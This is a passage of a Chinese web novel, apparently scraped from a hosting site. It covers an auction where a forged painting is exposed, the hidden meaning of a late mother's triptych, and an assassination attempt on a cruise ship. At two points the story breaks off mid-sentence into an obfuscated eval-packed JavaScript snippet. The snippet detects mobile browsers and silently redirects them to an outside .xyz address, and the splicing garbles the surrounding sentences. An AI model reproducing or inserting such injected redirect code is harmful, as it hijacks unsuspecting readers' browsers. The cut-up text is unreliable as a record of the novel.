“后来,城市里的人过来,说要在这条河上修一座新的大吊桥,要把原来的桥全部拆掉,这整座洲岛也要全部挖掉。他们给了每个人家里一大笔拆迁费,但我们家领到的钱,全都被那个不认识的男人独吞了。” “我们的房子没了,整座洲岛也没了,取而代之的是一座崭新华丽的吊桥横跨于河流的两岸。” …… 拍卖会现场。 与第一幅画正好左右相反,《下旬》的画布上,左侧是一座长吊桥从宽大的河流上伸向右边,右侧是陆地,几栋矮房,几条道路穿插其中。 …… 桑蒙先生:“男人带着拆迁费从人间蒸发,母亲把我扔进了托儿所,然后也失踪了。几年后我考上了艺术大学,无意间听说了母亲的消息——那时的她因为赌钱和组织□□,被关进了监狱。” “她在监狱里待了20年。她出狱的时候,也是我油画事业的巅峰时期。她找不到工作,想要来找我。我不想和这个女人扯上关系,我不希望业界和其他人知道我有一个从监狱里出来的母亲,所以我一直和她保持着距离,只是每年定期给她汇了生活费。” “这样的状态又保持了16年。直到八年前,我检查出了青光眼,便彻底结束了我的绘画事业。我的妻子早逝,孩子们也疲于奔波,母亲为了照顾我,便搬来了我的住处,直至她生病离世。” 陈双赢:“那么,那个《洲春月》的系列,就是她在你家照顾你的这段时间画的。” “是的。”桑蒙先生:“母亲虽然品行恶劣,但她艺术造诣却很高。儿时在洲岛上,母亲经常会教我绘画,那也是我这辈子最快乐的时光。” 从考上心仪的大学,和心爱的女人结婚,到屡获大奖、成为名人,获得全世界的认可,坐拥荣誉与财富……桑蒙先生这60年的人生感受到了一个平凡人所追求的一切美好,可以说是一个非常完美的人生。 可桑蒙先生永远忘不掉的,是那藏于记忆深处的母亲,背对着他坐在画布前绘画的场景。 这幅场景伴随了桑蒙先生的一生。虽然不记得母亲画的是什么,但母亲拿笔调色的身影总会让桑蒙回想起童年的那个家。 “这幅《洲春月》……”陈双赢看着王嘉华发来的照片,将《洲春月》的上、中、下三旬拼在了一起:“三幅画连在一起,是一座很长的吊桥连接着河流的两岸。” 《上旬》,吊桥从左侧陆地延伸至右侧河面上。 《中旬》,吊桥横于河面上。 《下旬》,吊桥从左侧河面延伸至右侧的陆地上。 《洲春月》的三幅画连在一起,是一整座横跨河流两岸的长吊桥的鸟瞰图。 陈双赢看着桑蒙先生:“这座吊桥下并没有洲岛,这整条河上也没有任何洲岛。” “因为她已经不记得洲岛了。”桑蒙先生:“这幅画的名字,是我按照她完成的时间取的。她当时在绘画的时候,头脑已经不太清晰了。” 陈双赢:“所以画到最后,她连最重要的命名和署名都不记得了。” 而人类这种动物,只会在意识模糊状态下表现出内心真实的想法。 “这幅画是吊桥建成、洲岛被挖掉之后的样子,”桑蒙先生:“在她的记忆中,根本就没有洲岛的存在,你知道这说明了什么吗?” 陈双赢已经猜到真相,却不知道该不该说出来。 “说明她从来就没有在乎过洲岛,也从来都没有在乎过那段时光。”说着,桑蒙先生低下了头:“她和那个陌生的男人毁掉了我最怀念的一切,可她这辈子都没有意识到这件事。” “即便不问我也知道,”桑蒙先生用右手捂住了双眼:“直到那个男人背叛了她、带着所有的钱离开了这个国家,她也一直坚信那个男人会回来娶她。” 陈双赢沉默着。 桑蒙先生:“我的生母,我的妈妈,她这辈子眼中都没有我和爸爸。” …… 拍卖会现场。 人越来越多,现场也开始嘈杂起来。主办方没有设置那么多座位,甚至连过道都站满了慕名前来的买家。 在保镖的带领下,温女士从教堂的大门走了进来,依然坐在了卖家席位最后一排的宝座上。 台上,拍卖师满脸欢欣,激昂地说:“万众瞩目!《洲春月·下旬》的竞价拍卖,现在正式开始!” 委托部的5个员工,也紧张地握紧了手中的报价牌。 王嘉华看着手机,迫切地等待着陈双赢的消息。 …… 陈双赢:“至少她最后还是来找你了。” “这些都无所谓了,”桑蒙先生:“母亲已经去世5年了,不管她的记忆到底是什么样的,现在再去猜测都已经没有意义了。” 两人沉默了许久。 陈双赢看着手机上的那三幅画,突然皱紧了眉头,立刻打开了王嘉华的消息框开始输入文字。 …… 拍卖会现场。 拍卖师:“根据主办方的讨论决定,我们临时调整了这幅画的起拍价,”说着,拍卖师拿起了手中的木锤:“现在公布,《洲春月·下旬》的起拍价是一百……” “等下!”人群中,王嘉华突然站起来大声说:“这幅画是假的!” 看到了陈双赢发来的消息,王嘉华终于下定决心站了起来。 10. 第九章 第九章·拍卖会3 会场立刻安静下来,所有人都看着王嘉华。 根据行业的规定,一旦拍卖师公布了拍品的起拍价,那么该拍品的最终价格是绝对不能低于这个起拍价的。 经过前两场的炒作,这幅《洲春月·下旬》的商业估值已经远超委托部所有人的承受能力。王嘉华,以及所有非内鬼的员工,此刻都绝不会让拍卖师把这幅画的起拍价说出来,一旦拍卖师说出了起拍价,就等于宣告今天的任务失败了。 拍卖师:“你说这幅画是赝品?” 温女士探起头,看着前排的王嘉华。 “嗯……”突然被所有人的目光集结,王嘉华突然开始紧张:“我其实……可以证明这件事……” 拍卖师:“所有拍品的鉴定在上周就已经结束了,我们今天的每一件拍品都获得了新加坡鉴定协会的认证,不可能会有赝品的。” 王嘉华:“鉴定协会的判断也不是百分之百准确的吧。” 拍卖师有些为难:“如果你质疑鉴定协会的判断,你应该去找鉴定协会,而不是直接拍卖会现场提出来,这不符合规定。” “完全符合规定!”坐在另一边的丹也站了起来:“我刚刚问过主办方了,如果对拍品有任何问题,可以现场提出,官方会直接给出回答。” 拍卖师:“那请问你想提出的问题是什么呢?” 丹:“我的问题就是,这个展示台上的《洲春月·下旬》到底是真品还是赝品?我要求主办方提供证据证明。” 拍卖师:“证据就是鉴定协会颁发的证书。” “那我也有证据证明这是赝品!”王嘉华义正言辞地说。 台下一片哗然。拍卖师和主办方全都不知道该怎么办。 “看看他的证据吧。”正当所有人都不知所措时,坐在最后排的温女士也发出了声音:“如果他不能证明这是赝品,那我就一定会出价。” 所有人都知道,一旦温女士出价,现场就没有人能抢得过她了。如今温女士已经拥有了《上旬》和《中旬》,如果确定眼前的这幅《下旬》是真品,那么她一定势在必得。 没有办法,拍卖师和幕后的负责人确认了一下,回到了台上,看着王嘉华:“那就请这位先生提供一下你的证据吧。” 王嘉华紧张地走上台,来到了那幅画的旁边,看着台下一排排的众人。 此刻,除了内鬼,委托部的希望全部寄托在了王嘉华的身上。丹,那苏百,佘孔渝和凯文全都紧紧盯着台上。 王嘉华吞了口口水,说:“《洲春月》系列是桑蒙先生的母亲生前的遗作,这件事大家都知道了。桑蒙先生是油画宗师,他的画功继承于他的母亲,因此桑蒙先生的母亲本身就是一位画功非凡、艺术素养极高的油画家。但你们看这幅画。” 说着,王嘉华指着面前的这幅画:“这幅画的色调和纹理明显与该系列的前两作不搭。《上旬》的色调偏暗,《中旬》的色调稍微亮一点,按理说,《下旬》的色调应该更加明亮;但大家眼前的这幅画明显色调和《上旬》一样暗淡,这不符合油画的规律。” 所有人开始议论。温女士眯着眼睛,反复观察着台上的油画。 “你这个理由不成立吧。”那苏百终于按耐不住,站了起来:“我觉得这个色调的分配没有什么问题。” 全场的目光转向了那苏百。 “我就知道内鬼是你!”王嘉华内心向自己炫耀着他准确的判断。 “嘿!”丹笑了笑。 …… 台下。 凯文:“果然是那苏百!” 佘孔渝坐到了凯文身边:“你怎么知道是他?” 凯文:“通过喊价就能看出来。” 佘孔渝:“喊价?” “你仔细回想一下前两场竞拍的过程。”凯文:“内鬼的目的是把拍品的价格往上抬,让我们买不到拍品。” 佘孔渝:“所以他会喊出我们承受不起的价格?可如果是这样的话,那万一没人和他抢,他不是要独自一人承担昂贵的价格?” 如果内鬼的喊价过高,大家就会知道他是内鬼,那也就没有人会与他均分花出去的钱。一幅油画或许还能承受,但内鬼如果采取这种战术,那么三幅油画他必须全部自己买下来,这几乎是不可能做到的。 “所以他并没有采用这种方法,而是用另一种方式不断提高油画的喊价。”凯文:“那就是喊出下一个档位的报价。” 佘孔渝:“档位?” “就是海运费的档位。”凯文:“你还记得吧,海运费的档位是7万以下一档,7-10万一档,10-15万一档……” 由于昂贵的海运费,拍卖会场的买家都不约而同地达成了一个共识,那就是尽量不要喊出下一个档位的价格。因此,拍品的最终成交价往往会停留在6万9、9万9这样的数字。 凯文:“但那苏百每次都会喊出7万和10万的价格,他这么做的目的,就是为了让喊价能够继续,因为一旦他喊出了下一个档位的价格,那么其他人即便再提高一点价格,也不会产生额外的海运费。要知道,对于海外的那些买家来说,海运费可能就占了拍品价格的10%-30%。” 佘孔渝:“啊!原来你早就看出来了!” 凯文:“呵。” …… 王嘉华站在台上,看着那苏百:“你凭什么这么说?” 那苏百:“《上旬》和《下旬》的画面中都有陆地,而《中旬》的画面中只有水面。平整的水面最能反射阳光,因此《中旬》的色调比另外两幅画都要亮一些,这根本没有任何问题。” “除了色调,”王嘉华急忙反驳:“这幅画还有很多问题!” 说着,王嘉华指着画布上的各处:“笔触的纹理,画面的整体结构,还有光源……在座的各位,哪怕看不懂油画,想必也能看出来,这幅画和前两幅的区别了吧!” 王嘉华说出这句话,在场的所有人都仔细盯着台上的这幅画,开始有些思考。 “的确,相比前两幅画,这幅《下旬》的画技好像稍微逊色一点……”温女士开始念叨着,想要再次确认一下。 “这点你说的没错,但原因也很简单。”那苏百自信地说:“我调查过了,桑蒙先生的母亲在晚年患有阿尔茨海默病。” 为了防止“质疑画作真假”这招,那苏百已经提前做好了功课。 那苏百:“这幅画是他的母亲在离世前不久画的,那个时候,她的大脑不仅记忆模糊,就连意识都已经不太清晰了。” 说着,那苏百指着拍卖师:“大家都记得拍卖师说过,这个《洲春月》系列的上、中、下三部曲是按作画的时间顺序排列的,因此这幅《下旬》是三幅画中最晚开始作画的。想必那个时候,桑蒙先生的母亲已经病入膏肓,在那种状态下完成的作品,画功与前面两幅稍微有些出入也是十分正常的表现。” 所有人开始认同那苏百的话,形势似乎对王嘉华非常不利。 那苏百:“所以画功下降,反而更能证明这幅《下旬》是桑蒙先生的母亲画的。一位即将离开人世的画家,燃尽自己最后的生命,为世人留下了她所能展现的所有功底,这才是这幅油画真正的价值所在!” 听到那苏百激情的论证,温女士点了点头,身旁的保镖再次将报价牌拿到了手中。 “可如果这幅画和前面两幅根本连不上,你还会这么认为吗?”迫不得已,王嘉华终于用出了杀招。 听到王嘉华的这句话,适才喧哗的全场又瞬间安静了下来。 “幸好陈双赢发现了这点,不然我可不敢在这么多人面前说这种话。”王嘉华内心窃喜着。 “这怎么可能?”那苏百看着拍卖师:“这么明显的问题,拍卖行和鉴定协会难道都没看出来吗?” 拍卖师回忆了一下,说:“为了保护这些艺术品,每件拍品都是分开鉴定的,我们好像也从来没有把三幅画拼在一起看过。” 那苏百有些慌张。 “温女士!”王嘉华突然朝着最后排望去:“能否帮我一个忙?” …… 河畔边。 桑蒙先生:“母亲死后,我连续经历了几次失败的投资,半生积累的资产所剩无几。为了维持资金运转,我把母亲唯一的遗作,《洲春月》这三幅画私下卖给了一个收藏家。” 陈双赢:“的确,既然你的母亲对你没有什么感情,那么对你来说这幅画也并没有什么值得留念的。” 桑蒙先生:“然而上个月,我又得知我的儿子因欠下赌债被追杀的事情……” 陈双赢:“所以你今天才会出现在拍卖会现场。” “为了抬高油画的价值,我今天向所有人公布了我母亲的身份,”桑蒙先生:“现在全世界的人都知道了,我油画大师桑蒙的母亲是一个罪犯……不过这也是没办法的事情,反正我今后也不打算再抬头做人。” 如今的桑蒙先生,已经失去了所有的财富和荣誉。 “可你有没有想过,”陈双赢突然打断了桑蒙先生的回忆:“事实或许并不是你想的那样?” …… 拍卖会。 温女士答应了王嘉华的要求,立刻派人将《上旬》和《中旬》两幅画运到了拍卖会的现场。 展示台上,在所有人面前,几个工作人员终于将三幅画,按照上、中、下的顺序并排放在了一起。 三幅画的尺寸和长宽都一样,拼起来后形成了一整张横图,看起来的确是一座长吊桥横跨着河流两岸。 然而同时,所有人都注意到了令人违和的一件事。 “相信大家都已经看到了,”王嘉华走到了《中旬》和《下旬》之间,指着画布上吊桥的位置:“这两幅画的桥是错位的!” 的确,《上旬》和《中旬》连接处的吊桥是连贯的;但《中旬》和《下旬》的连接处的吊桥却是错位的!所有人都看得非常清楚! “画家既然能完整地画出一幅油画,怎么可能会连吊桥错位这种低级的错误都发现不了?”王嘉华自信地看着那苏百。 “这个《下旬》真的是伪造的!”人们又开始议论起来。 那苏百看着面前的画,哑口无言,无力地坐了下来。 温女士闭上了眼,叹了口气,让保镖放下了报价牌,随后起身离开了教堂。 …… 河畔边。 桑蒙先生:“什么意思?” 陈双赢看了看时间:“不好意思,我得走了,谢谢你跟我说的这些事。” 虽然没有问出特别有用的信息,但能够发现第三幅画的问题,陈双赢这次也没有白来。 陈双赢:“如果你想知道我刚刚说的事实是什么意思,去拍卖会后台看看就知道了。” 说完,陈双赢离开了河畔。 …… 没有其他人喊价,王嘉华最终以1万元的价格拍到了第三幅画。 人群散去,现场只剩下委托部的5位员工。 “呃……这钱还要平分吗?”王嘉华看着其他人。 “废话!”凯文:“每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780703|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人2000。没钱你就先欠我的,每天2000的利息。” 凯文相信,以卡尔德曼的财力,总有一天会给王嘉华打钱,毕竟他可是和莘夫人齐名的三大□□的首领。 那苏百一个人依旧坐在原来的位子上,突然笑了起来。 丹:“你笑什么?内鬼!” “你们还是输了,”那苏百:“你们的任务目标是《洲春月》的画作,拿着这幅假画交差,你觉得杰西卡会看不出来吗?” 所有人看着王嘉华。 这时,王嘉华的手机收到了陈双赢发来的消息:“桑蒙先生去后台了。” 王嘉华收回了手机,对那苏百说:“不试试怎么知道?” 那苏百笑得更大声了。 “还得去找一下桑蒙先生……”王嘉华念叨着,独自朝拍卖会后台的方向走去。 …… 与此同时。医院,艾雅琳的病房。 昏暗的病房中只有艾雅琳一个人,神色凝重的她坐在病床上,关掉了吵闹的收音机,手中握着一根玻璃管,里面装着少许黑色的液体。 她看着床边的窗帘,突然下定决心的表情,拉开了窗帘的一条缝——夕阳的光辉映入房间的一瞬间,她立刻紧闭双眼,合上了窗帘。 突然混乱的心律令她有些呼吸困难,她满头虚汗,急忙调整好自己的呼吸,缓慢恢复了平静。这种突如其来的阵痛已经是这两天以来的十次了,这是之前从未出现过的频率。 艾雅琳不知道自己的心脏还能承受几次这样的绞痛。 病房的门被推开,一个人慢慢地走到了她的身边。 艾雅琳擦干虚汗,转头看去,露出了微笑。 …… 拍卖会后台,仓库区。 “我是来取货的,这是我参加拍卖会的编号。”王嘉华把自己的编号递给了仓库保管员。 这时,桑蒙先生也来到了后台的仓库区。 “啊!”王嘉华:“桑蒙先生,你好!” 桑蒙先生:“你是……今天坐我旁边的人?” 王嘉华:“能和桑蒙先生坐在一起,真实太荣幸了!” 桑蒙先生看着后台的展示台,《上旬》和《中旬》两幅真作也摆在台上。 桑蒙先生:“这两幅画不是已经被温女士买走了吗?” “是的,这两幅画是临时放在这里的,他们等会要送去海运公司那。”王嘉华:“温女士是文莱人,她委托主办方直接把两幅画运回文莱,所有他们就暂时放在这里了。” 桑蒙先生看着母亲留下来的遗作,心情很复杂,没有说话。 王嘉华:“桑蒙先生的故事我已经听说了。” “是那个女孩告诉你的吧。”桑蒙先生长呼了一口气:“你们是一伙的。” 陈双赢把所有的事情都告诉了王嘉华。 “是的。”感受到了桑蒙先生的心情,王嘉华的语气也变得严肃:“桑蒙先生,你真的觉得,你的母亲从来没有在乎过你吗?” 桑蒙先生看了看王嘉华,闭上了眼睛,没有回答。 保管员将那幅名叫《洲春月·下旬》的画拿了出来,摆在了王嘉华面前的展示台上:“王先生,这是你今天拍到的拍品,请问需要直接送去海运公司吗?” “啊不用了,”王嘉华:“麻烦你就摆在这里。” 保管员把《下旬》放了下来,然后又去忙别的事了。此刻,《洲春月》系列的前两部画作的真品,和这个名叫《洲春月·下旬》的画作再次被并排摆放在了一起。 仓库区没有其他人。桑蒙先生看着眼前并列摆放的三幅画,仿佛看到了5年前,母亲在家中绘画的样子。 …… 5年前,桑蒙先生的家的画室中。 尽管已经年迈沧桑,但只要拿上油笔,母亲的手依旧稳健。路过画室的门口,桑蒙先生看着母亲绘画的背影,总会勾起他儿时的回忆。 看到母亲的前两幅画,桑蒙先生心中突然燃起了希望——他虽然什么都没说,但他总希望,能在母亲的第三幅画中看到儿时的那片孤洲。 时值春季,一个月三个旬,母亲每一旬完成一幅作画;当完成第三幅作画时,她突然晕倒在了画室中,连命名和署名都没有来得及。 救护车开去了医院。桑蒙先生回到家中,打开了画室的门,终于看到了完整的三幅画——但是很可惜,长长的吊桥下没有洲岛,只有冰冷的水面。 …… 桑蒙先生转头,看着王嘉华:“你不是说,这个第三幅画是假的吗?” 王嘉华:“你觉得不是吗?” 桑蒙先生:“可我记得很清楚,当年我在画室看到的三幅画,就是眼前的这三幅。” 听到了这句话,王嘉华没有回答。趁着周围没人,王嘉华直接走上了展示台。 桑蒙先生困惑地看着王嘉华,却没有阻止。 王嘉华拿起了那幅名叫《下旬》的第三幅画,摆到了第一幅画《上旬》的左边。 桑蒙先生突然睁大了眼睛。 三幅画按照《下旬》、《上旬》和《中旬》的顺序排列,再次连成了一整张横画;而这次,《下旬》和《上旬》相拼接,形成了一座连贯的洲岛。 “这才是《洲春月》真正的样子。”王嘉华:“桑蒙先生,这就是你的母亲记忆最深处的画面。” 看到这无比熟悉的美景,所有的记忆瞬间被唤醒。桑蒙先生终于想起来了,儿时的母亲在画布上画的,也是这幅场景。 桑蒙先生最后还是控制不住自己的眼泪。 11. 第十章 第十章·躲枪术 国立医院,艾雅琳的病房。 艾雅琳坐在病床上。陈双赢站在了她的身边,拿着那根装着少许黑色液体的玻璃管。 “辛苦你了,艾琳。”陈双赢观察着玻璃管里的液体,说到。 艾雅琳温柔地笑着:“你每天都会来吗?” “不一定,但至少明天还会来。”陈双赢:“你那个小男友叫什么名字来着?” 艾雅琳:“你说王……王小白?” 陈双赢:“对呀,他今天还没出现吗?” 艾雅琳乖巧地摇了摇头。 陈双赢:“我昨天就告诉过你,他不会再回来了。” 艾雅琳沉默着低下了头。 陈双赢:“你们这个年纪的女孩,永远只会把心思放在男人身上。” 艾雅琳:“你也就比我大2岁而已呀。” 陈双赢:“那你的父母呢?其他的家人呢?” 艾雅琳:“我没有家人了,我在孤儿所长大,我的爸妈也早就去世了。” 陈双赢看着艾雅琳的双眼,仔细观察着她的眼神、措辞、语气和肢体动作。 “看不出说谎的痕迹。”陈双赢内心做出了这样的判断:“从昨天第一眼见她起,我一直在观察,看来眼前的这个女孩从未对我说过谎。” “对了,”艾雅琳:“你今天做什么去了?” 陈双赢:“没有什么。” “说说嘛!”艾雅琳开始撒娇:“我想和你多聊天,我想多了解你的事情。” 陈双赢甚至不用去核对病人的资料,因为她知道,她的谎言分析绝对不会出错。在陈双赢的眼中,艾雅琳就是一个单纯的、刚满18岁的妹妹。 陈双赢叹了口气,坐在了艾雅琳的身边:“艾琳,告诉我,你会怕我吗?” 艾雅琳:“我为什么会怕你?” “这个玻璃瓶,”陈双赢把手中的玻璃管放到艾雅琳的眼前:“你记得我昨天说过的话吧。” 艾雅琳点点头:“我记得。你昨天说的,你是一个商务间谍,你的公司派你来采集病毒原液。” “没错,”陈双赢:“我每天来找你,不是因为我关心你,而是我们公司派我来提取你血液中的病毒原液,也就是这个黑色的液体。” “我知道,”艾雅琳:“这些我都知道。” 陈双赢:“即便如此,你还想和我聊天吗?” 艾雅琳沉默了一会。 陈双赢:“你要知道,即便我们公司真的能研发出对抗黑山羊病毒的特效药,按照现在的进度起码也要2年后了。艾琳,以你的病情不可能撑不到那个时候,这点你很清楚。” 艾雅琳点了点头。 陈双赢:“用你的血液提取病毒,这件事对我们来说很重要,可对你来说根本没有任何意义。艾琳,我每天都有很多任务,对我来说,你只是其中的一个。” 对陈双赢来说,艾雅琳只是一个任务。 陈双赢:“所以你还想和我聊天吗?” “我整天一个人坐在这个黑暗的房间……”艾雅琳天真的双眼看着陈双赢:“如果小白真的不会回来,那这个世界上会来这里看我的人就只有你了。” 陈双赢低下头,不愿看见艾雅琳的眼睛。昏暗的病房安静了许久,没人说话。 “我要走了,你先好好养病吧,”陈双赢拍了拍艾雅琳的头,将黑色液体的玻璃管放回艾雅琳的手中:“记得每天饭后2个小时,按照我昨天说的步骤抽血。” 艾雅琳:“那你也答应我,明天来的时候,跟我说说你的事情。” 陈双赢:“好,我答应你。” …… 太阳落山了。所有人都回到了游轮上,王嘉华把第三幅油画《洲春月·下旬》交给了杰西卡。 第二天的任务终于也顺利完成了,没有进入猎杀环节,王嘉华又苟活了一天。 “杰西卡小姐,明天的工作汇报,能不能把我写得出彩一点?”交付了任务道具,王嘉华真挚地看着杰西卡:“你也知道,卡尔德曼不肯给我打钱,我的银行卡里到现在一分钱都没有。” 不出意外,明天的工作报表上,王嘉华的排名依旧是第六名垫底。 “我考虑考虑吧。”杰西卡应付的语气回答了王嘉华。 …… 深夜。平等号。所有人都睡在了自己的房间。 突然一阵巨大雷声将王嘉华从噩梦中惊醒。 “怎么回事?”王嘉华打开手机,0点整。 王嘉华眯着眼睛,突然想起了一件事…… “啊!”王嘉华突然倒吸一口凉气:“躲枪术的考试!那个保镖!” 王嘉华急忙换上外套,冲出房门。当王嘉华刚刚跑出了艏楼大门时,他看到马威克正站在前方的甲板上看着他。 “没想到你还记得啊,”马威克笑了笑:“看来今天没有进入猎杀环节嘛。” 王嘉华感到异常地紧张,因为他根本没有备考。 “躲枪术是干什么来着?手肘伸直……身体前倾……”王嘉华努力回想着昨天晚上从手册上看的一切。 马威克:“既然你来了,那说明你已经做好充足的准备了吧。” 王嘉华:“呃……请问你要用什么方式测试我呢?” “你先站在那里不要动,”说着,马威克从挎包中掏出了一把小型弩,对准了王嘉华:“用这个。” 王嘉华下意识地后退了两步。 “我说了,不要动。”同时,马威克又从口袋中掏出了一把弩箭,将弩箭装在了弩上拉上了弦。 王嘉华惊恐地看着马威克:“你……”话还没说完,马威克按下了扳机,弩箭射向了王嘉华的胸口。 “啊!”根本来不及反应,王嘉华感到胸口一阵刺痛。他用手按住刺痛的部位,却没有任何液体。同时,那根飞射而来的弩箭也弹开落在了甲板上。 王嘉华定睛看去,那支弩箭的头是球形的。 “那是橡皮。”马威克站在远处说:“你到底有没有准备好考试?怎么这都躲不过?” 王嘉华揉了揉自己的胸口,紧张地看着马威克:“啊你是说……考试已经开始了吗?” 马威克站在甲板的彼端,距离王嘉华大概15米远。 马威克没有说话,立刻将另一枚弩箭装上了弦。甲板上的光线还算充足,王嘉华仔细看着马威克的弩,将全身的注意力集中在了那支箭上。 很快,第二发也射了过来! “身体倾斜!”王嘉华默念着口诀,立刻弯下了腰——弩箭被弹开了,这一次中箭的部位是脑门。 “好痛!”王嘉华摸着头大喊。 “要是真的弩箭你已经死了,王嘉华!”很快,马威克装上了第三支箭。 …… 反复尝试了十几次,王嘉华没有躲过任何一支箭。 “算了,还是直接结束吧。”马威克默念着,装上了下一支弩箭。 “不对,之前的方式是错的。”王嘉华回想起来手册上的文字,除了自己的姿势,还要注意对手的姿势。 “看弩箭没有意义,根本来不及躲开,要看对手的手肘。”王嘉华再次弯下腰,注视着前方。 马威克伸直了手臂,将弩口对准了王嘉华。 “现在!”王嘉华将身体的重心往左侧倾斜。 马威克按下了扳机,弩箭朝着王嘉华的腹部飞射了出来。提前调整好身体重心的王嘉华右腿一蹬,一个侧翻躲过了这支飞箭。 “太好了!”王嘉华落地后依旧保持着前倾的姿势,然后下一个瞬间,他突然感到不对劲。 “刚刚射出来的箭怎么没有弹起来?”王嘉华朝刚刚弩箭飞射的方向看去……天空一道电光照下,王嘉华突然发现弩箭竟然直接插进了甲板的木板上! 又一阵巨雷声滚滚落下,王嘉华背脊发凉。 “怎么回事?不是橡皮的吗?”很快,王嘉华看到对面的马威克已经装上了下一发弩箭,弩箭箭口出隐约反射出尖锐的亮光。 “等下!”随着王嘉华一声大喊,弩箭从弩□□出。刚找到躲避诀窍的王嘉华却因为受到了惊吓,突然忘记了手册上的步骤——鲜血随着被花开的袖口溅出,锐利的弩箭将王嘉华的左臂划出了一道伤口,钉入了他身后的地板上。 王嘉华大吼到:“你想杀了我吗?” “真枪实弹才能练出真本领,”马威克不慌不忙地又上了一发真弩箭,并且慢慢朝他走了过来:“如果你今天过不了我这关,那死亡对你来说就是一个星期以内的事。” 紧接着,第三发真弩箭和第四发真弩箭接连而至,无处可逃的王嘉华右腿上又多了一道伤口。 “不对劲!真的不对劲!”王嘉华忍着剧痛:“这绝对不是考试!” 王嘉华非常确定,眼前的这个男人就是冲着杀死自己而来的。 又一阵猛烈的雷电,王嘉华突然被恐惧缠绕,双腿失力,全身颤抖着跪倒在了地上。 “完了!又犯病了!” 此时,马威克已经走到了王嘉华的面前:“这就是卡尔德曼的选择?”马威克放下弩,掏出了腰间的匕首,朝王嘉华的脸面直刺而来。 看着尖锐的刀刃刺向自己,跪在地上的王嘉华忍着疼痛,用尽腰部最后的力气躲开,抓住了马威克的双手。 王嘉华全身已被虚汗浸湿,他竭尽全力地克服着自己的恐惧,至少让自己的头脑保持着清醒。 “为什么要杀我?”王嘉华的双手紧抓着马威克的双手,两人短暂地僵持着。不知从哪来的力量,王嘉华的双腿开始慢慢恢复知觉。 “王嘉华,给我看看你眼睛变红的样子。”马威克的眼神充满杀意和鄙夷:“你让我看看,卡尔德曼的眼光到底有多差。” 马威克并没有一开始就杀掉王嘉华,他试图让王嘉华进入红眼的状态。 “到底是为什么?”趁着提问的时机,王嘉华慢慢将跪在地上的左腿往后挪,做出了准备起身的姿势。 马威克:“你想知道为什么?” “你不告诉我杀我的原因,那我就变成鬼来你家问你!”王嘉华的准备姿势已经完成。 “卡尔德曼,”马威克张狂地说:“他明明可以选我来参加比赛,但他却选了你,我不服气!” “你这个理由也太普通了!”马威克刚说完,王嘉华左腿撑地,整个身体向前压去,将马威克推向了后方。 突然被推开的马威克失去了平衡,也摔倒在了地上。恢复知觉的王嘉华慢慢站起身,愤怒的眼神看着马威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780704|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克。 就为了这个理由来杀我?王嘉华凶狠地看着马威克,他现在感觉不到任何恐惧,心中充满了怒火,视线开始变得赤红。 连续的闪电下,王嘉华血红色的双眼死死地盯着马威克。此时的马威克还没意识到,他所面临的究竟是一个什么样的怪物。 “呵,终于来了!”看着王嘉华红色的双眼,马威克原地站了起来,重新捡起了地上的弩:“我倒要看看……” 马威克一次性将3枚真弩箭装在了弦上,同时右手从背后掏出了另一把短刃,俯身朝前。 下一秒,3发弩箭一齐向王嘉华的身体飞射而来,于此同时,马威克右手紧握着短刃,朝王嘉华冲刺而来——然而这一切的动作,在散华状态下的王嘉华面前都显得十分单板,破绽百出。 王嘉华一个侧身躲过了其中的2支弩箭,而第3支则被王嘉华用右手拇指朝外抓住了箭身。 没有给马威克任何反应的时间,王嘉华一个反手,拇指朝内将手中的弩箭原路扔了回去——细小的弩箭划破空气,像一颗子弹直接扎入了马威克的心脏,一击毙命。 马威克的尸体随着惯性滑倒在地,没有了任何动静。 …… 随着王嘉华眼中的血丝慢慢褪去,大雨也随着雷声落下。甲板上,鲜血从马威克的心脏处扩散开来,融入在雨水的冲刷中。 王嘉华看着眼前的尸体,又看了看自己的双手,突然才反应过来刚刚发生的事情,表情开始变得绝望。 这时,一股眩晕突然直冲脑门,王嘉华感觉有些站不稳。 “应该是散华带来的退返影响……”王嘉华使劲地甩了甩头,拍了拍后脑勺,慢慢找回了平衡。 很快,在大雨的冲洗下,王嘉华很快又恢复了清醒。 “看来有人死在了船上。”杰西卡撑着雨伞,从容地从王嘉华的身后走了过来。 “杰西卡!”王嘉华猛然回头,惊恐地看着杰西卡:“不是,我……” 王嘉华从来没有杀过人,他也从未遇到过这样的场景。 “放心吧,你是正当防卫,不算违法,况且……”杰西卡从王嘉华身边走过,走到了马威克的尸体前:“让不是员工的人上船,原本就是我的失职。” 听到这句话,王嘉华心里松了一口气,尽管他依旧止不住内心的慌乱。 杰西卡撑着伞,蹲了下来,将马威克的双眼合上:“这个人名叫马威克,是一个商务间谍。” 王嘉华:“商务间谍?他不是卡尔德曼身边的保镖吗?” 杰西卡:“他并不是卡尔德曼的人,而是千指门安插在卡尔德曼身边的卧底。” 王嘉华:“千指门!” 和汤旗、莘夫人一样,千指门是东南亚三大□□之一。在打听‘方程式’的时候,王嘉华就听说过这个帮派。 王嘉华:“我记得这个帮派是专门搞暗杀的?” “你就是他们的目标,王嘉华。”杰西卡:“杀死你,是千指门派给马威克的任务,他们不想看到卡尔德曼拿到‘方程式’的独家销售权,任何一点可能性也不想看到。” 王嘉华:“那我现在杀了他们的人,他们会把我怎么样?” 